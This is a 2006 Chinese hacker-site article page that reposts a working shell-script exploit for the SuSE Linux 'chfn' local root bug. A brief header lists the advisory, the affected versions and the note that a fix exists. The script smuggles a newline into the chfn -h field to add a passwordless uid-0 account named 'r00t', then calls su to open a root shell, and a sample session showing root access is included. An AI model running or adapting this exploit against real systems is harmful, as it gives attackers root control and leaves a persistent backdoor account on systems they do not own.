| 首页 | 技术文章 | 软件下载 | 博客 | 论坛 | 精品教程 | 黑客动画 | 视频资源 | 在线服务 | 黑客游戏 | 

您现在的位置: 中国X黑客小组 >> 技术文章 >> 黑客技术 >> Exploit >> 文章正文 用户登录 新用户注册
  SuSE Linux pwdutils “chfn” Utility Local Privilege Escalation Exploit          【字体:
SuSE Linux pwdutils “chfn” Utility Local Privilege Escalation Exploit
作者:佚名    文章来源:CnXHacker.Net    点击数:    更新时间:2006-10-29    

漏洞资料:http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
危险程度:中等
影响范围:
SuSE Linux 10.0
SuSE Linux 9.3
SuSE Linux 9.2
SuSE Linux 9.1
SuSE Linux 9.0
SuSE Linux Desktop 1.0
SuSE Linux Enterprise Server 8
SUSE SLES 9
UnitedLinux 1.0
解决办法:官方已经提供升级版本
相关介绍:SuSE Linux 是Novell公司推出的一个安全、可靠、面向企业开放源代码计算的Linux平台。
 

------------------------------------------------------------------------------

#!/bin/sh
#
# Exploit for SuSE Linux 9.{1,2,3}/10.0, Desktop 1.0, UnitedLinux 1.0
# and SuSE Linux Enterprise Server {8,9} 'chfn' local root bug.
#
# by Hunger
#
# Advistory:
# http://lists.suse.com/archive/suse-security-announce/2005-Nov/0002.html
#
# hunger@suse:~> id
# uid=1000(hunger) gid=1000(hunger) groups=1000(hunger)
# hunger@suse:~> ./susechfn.sh
# Type your current password to get root... :)
# Password:
# sh-2.05b# id
# uid=0(r00t) gid=0(root) groups=0(root)

if [ X"$SHELL" = "X" ]; then
echo "No SHELL environment, using /bin/sh for default."
export SHELL=/bin/sh
fi

if [ -u /usr/bin/chfn ]; then
/bin/echo "Type your current password to get root... :)"
/usr/bin/chfn -h "`echo -e ':/:'$SHELL'\nr00t::0:0:'`" $USER > /dev/null
if [ -u /bin/su ]; then
/bin/su r00t
/bin/echo "You can get root again with 'su r00t'"
else
echo "/bin/su file is not setuid root :("
fi
else
echo "/usr/bin/chfn file is not setuid root :("
fi


文章录入:IceRiver    责任编辑:IceRiver 
  • 上一篇文章:

  • 下一篇文章:
  • 发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
    最新热点 最新推荐 相关文章
    Cyanlotus:新型文本垃圾邮件
    破解Session cookie的方法
    US CERT:谷歌eBay雅虎网站均
    Sun Solaris ATA 磁盘驱动IO
    Epic Games Unreal有多个远程
    Skype登录故障 成全雅虎Mess
    Cisco IOS中Secure Copy 实现
    NSFOCUS 2007年07月之十大安
    irefox/Thunderbird/SeaMonk
    雅虎Messenger再曝严重漏洞
      网友评论:(只显示最新5条。评论内容只代表网友观点,与本站立场无关!)
    Powered by ICE RIVER - STUDIO
    » CnXHacker.CoM   © CopyRight 2002-2006, CnXHacker.CoM™, Inc. All Rights Reserved.